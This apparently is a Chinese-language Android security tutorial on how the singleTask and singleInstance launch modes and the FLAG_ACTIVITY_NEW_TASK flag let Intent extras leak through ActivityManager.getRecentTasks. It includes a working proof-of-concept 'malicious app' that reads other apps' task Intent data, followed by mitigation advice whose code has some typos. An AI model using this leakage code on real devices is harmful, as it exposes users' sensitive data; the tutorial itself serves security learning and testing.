Activity-lauuchMode安全

回顾一下

安卓应用Activity的安全风险

android:exported(导出安全)Implicit Intent(隐式)android:lauuchMode(Activity启动设置)*Flag_ACTIVITY_NEW_TASK(Activity启动设置)android:taskAffinity(Activity启动设置)
安全绕过Activity劫持返回劫持信息泄露信息泄露
拒绝服务 信息泄露返回劫持返回劫持
信息泄露
....

第三个、第四个是Activity的启动模式所带来的安全风险

Activity启动模式的基本概念

1.安卓启动里面以栈的方式管理Activity

2.栈的名称在安卓启动里面叫task,而task的命名是以packagename为命名

3.App显示的Activity位于Task的栈底

4.四种启动模式

1.standard

示例是First启动Second,Sencond启动Third,在返回时Third先返回到Second在返回到First

2.singleTask

我们将First Activity的启动模式设置为singleTask,在我们的示例中First启动了Second,Second启动了Third,Third启动Activity时如果启动的是First这时会检测Task里面是否是已经存在First Activity的实例,如果已经存在了则将其上的所有Activity弹出,也就是将SecondThird弹出,让First Activity置顶

3.SingleTop

First Activity的启动模式设置为singleTop,这时First启动了Second,Sencode启动First,如果First在启动First的时候就会检测Task的栈顶Activity是不是First的实例,如果是First的实例则直接使用,就不在重新实例化First Activity在返回时First会直接返回到Second,Second在返回到First

4.singleInstance

我们将Second Activity的启动模式设置为singleInstance,这时First首先启动Secode发现他是singleInstance启动模式,这时这会新建一个Task2,Second Activity启动到Task2中,而Second如果启动Third Activity时为标准启动模式又将Third Activity启动到原始Task1中,这时如果我们返回的话Third会直接返回到First,First在返回会返回到Second

漏洞原理

ActivityManager.getRecentTasks

在安卓官网文档中ActivityManager.getRecentTasks函数有个说明,该函数在21之后被废弃掉了,原因有可能泄露个人信息给调用者

接下来我们看下他返回的RecentTaskInfo里面有那些敏感信息,在RecentTaskInfo类里面有个属性baseIntent他里面存储了用来启动TaskIntent由于Intent经过测试发现 桟 Activity和用来启动栈底的ActivityIntent不可能通过ActivityManager来读取,因此都可能存在信息泄露的风险

回过头在看四种启动模式,思考那种模式存在信息泄露的风险。

首先是标准启动模式(standard)用来启动栈底Activity,栈底ActivityFirst,First也是MainActivity在这种启动模式中我们的栈底Activity只能是frist而启动first的方式是App启动时第一个Activity这时Intent里面是不包含参数的因此不会存在信息泄露的风险

第二种启动模式SingleTask,这种模式中栈底的Activity只能为First,但是在第三步中我们启动First时有可能会传递参数或者敏感信息,因此存在敏感信息泄露的风险

第三种启动模式SingleTop,这种模式中栈底的Activity只能为First,而栈底的First Activity只能在App启动时调用,而此时不会传递参数,因此不会存在信息泄露的风险

第四种启动模式singleInstance,这种模式中有两个栈底Activity,首先是first作为Task1的栈底Activity只有在App启动时调用,因此他不会转递参数不会存在信息泄露的风险,而Second Activity由First启用,有可能会传递参数或者敏感信息,因此存在信息泄露的风险

在四种启动模式中singleInstanceSingleTask有存在信息泄露的风险

示例

首先检测App主配置文件Activity是否指定启动模式,另外启动模式是否为singleInstanceSingleTask

<activity android:name=".SingleInstanceActivity" android:launchMode="singleTask"/>
<activity android:name=".SingleInstanceActivity" android:launchMode="singleInstance"/>

其二需要检查Java代码在启动Activity时指定标志位

Intent intent = new Intent(MainActivity.this,NewTaskActivity.class);
intent.setFlags(intent.FLAG_ACTIVITY_NEW_TASK);
intent.setFlags(Intent.FLAG_ACTIVITY_MULTIPLE_TASK);
intent.putExtra("PARAM","Seven Security Data");
startActivity(intent);

这里我们关注两个标志位分别为FLAG_ACTIVITY_NEW_TASKFLAG_ACTIVITY_MULTIPLE_TASK分别对应singleTask和singleInstance,我们需要注意一点这两个标志位是一个常数,因此反编译后有可能看到是个十六进制的布尔值,官方文档转送点

测试方法

1.查看主配置文件中的所有Activity组件配置;

2.检查源代码中Activity启动方式;

Normal为测试App,这里有两个示例的Activity,第一个SingleInstanceActivity启动模式为singleTask,第二个是NewTaskActivity没有指定启动模式

image-20220713161917540

image-20220713161618094

打开Java代码MainActivity,查找调用了这两个Activity的代码,可以看到一个Button注册了一个点击事件,调用SingleInstanceActivity传递了参数

image-20220713163402454

然后看下SingleInstanceActivity的定义

image-20220713165055328

查看第二个Button,调用的NewTaskActivity,并且设置了一个Flags(FLAG_ACTIVITY_NEW_TASK)也可以指定为Flags(FLAG_ACTIVITY_MULTIPLE_TASK)相当于启动模式为singleInstance另外传递了一个传输Seven Security Data

image-20220713165341130

NewTaskActivity定义如下

image-20220713165835034

此时我们将他运行起来查看效果

编写恶意App,用于攻击示例中两个Activity读取他们两个传递的参数

在写好的App中,这两个Button是用来攻击[SingleInstance]启动Activity和[FLAG_ACtivity_NEW_TASK]启动Activity的

首先,在单击事件里面我们调用了ReadTaskActivity并且传递了targetSingleInstanceActivity

        Button btnSingleInstance = (Button) findViewById(R.id.btnSingleInstance);
        btnSingleInstance.setOnClickListener(new View.OnClickListener() { // from class: cn.com.budi.activity.evil.MainActivity.4
            @Override // android.view.View.OnClickListener
            public void onClick(View v) {
                Intent intent = new Intent(MainActivity.this, ReadTaskActivity.class);
                intent.putExtra("target", "SingleInstanceActivity");
                MainActivity.this.startActivity(intent);
            }
        });

进入ReadTaskActivity

public class ReadTaskActivity extends Activity {
    @Override // android.app.Activity
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.second_layout);
        String target = getIntent().getStringExtra("target"); //首先我们取出target的参数值
        ActivityManager activityManager = (ActivityManager) getSystemService("activity");//获取ActivityManager的实例
        List<ActivityManager.RecentTaskInfo> list = activityManager.getRecentTasks(100, 1);//通过activityManager调用getRecentTasks获取RecentTaskInfo
        StringBuffer buf = new StringBuffer();
        for (ActivityManager.RecentTaskInfo info : list) {    //然后遍历TaskInfo
            Intent intent = info.baseIntent; //里面的baseIntent
            if (intent.getComponent().toShortString().contains(target)) {//检测传递参数值target
                String param = intent.getStringExtra("PARAM");//如果有将参数读取出来
                buf.append("\n Intent包含数据:" + param + "\n\n");//放到buf里面
                Log.v("GET", intent.getComponent().toShortString());
            }
            Log.v("BaseIntent", intent.getComponent().toShortString());
        }
        TextView txtView = (TextView) findViewById(R.id.second_view);
        txtView.setText(buf.toString());//最后在设置txtView里
    }
}

在第二个Activity里面通用调用的ReadTaskActivity,不过传递的target值为NewTaskActivity接下来运行恶意AppNormalApp

调用NormalApp中的SingleInstance启动Activity

转递了six Security Data

使用恶意App对泄露的信息进行读取

然后就是最后一个Button FLAG_ACTIVITY_NEW_TASK启动Activity,调用一下它

传递了Seven Security Data

切换到恶意AppFLAG_ACTIVITY_NEW_TASK信息泄露这个Button来读取刚才传递的信息

我们将测试AppFLAG_ACTIVITY_NEW_TASK改为FLAG_ACTIVITY_MULTIPLE_TASK看下效果

同样的点击FLAG_ACTIVITY_NEW_TASK启动Activity

同样传递的是six Security Data

同样用恶意APP读取刚才传递的参数值six Security Data

说明SingleTaskSingleInstance都存在信息泄露风险(该Api已被ban,学习一个思路)

安全建议

1.避免使用 singleTask和singleinstance

<activity
    android:name=".activity.FirstActivity"
    android:name="FirstAPP"
    ~~android:launchMode="singleInstance">~~(这是一条删除线)
<intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>

</activity>

2.避免不设置 FLAG_ACTIVITY_MULTIIPLE_TASKFLAG_ACTIVITY_NEW_TASK属性

Intent intent = new Intent(FirstActivity.this, SixthActivity.class);
~~intent.setFlags(intent.FLAG_ACTIVITY_NEW_TASK)~~(这是一条删除线)
intent.putExtra("PARAM",Security Data");
startActivitv(intent);

如必须使用,不应该传递敏感信息

本文链接:

https://www.linqi.net.cn/index.php/archives/465/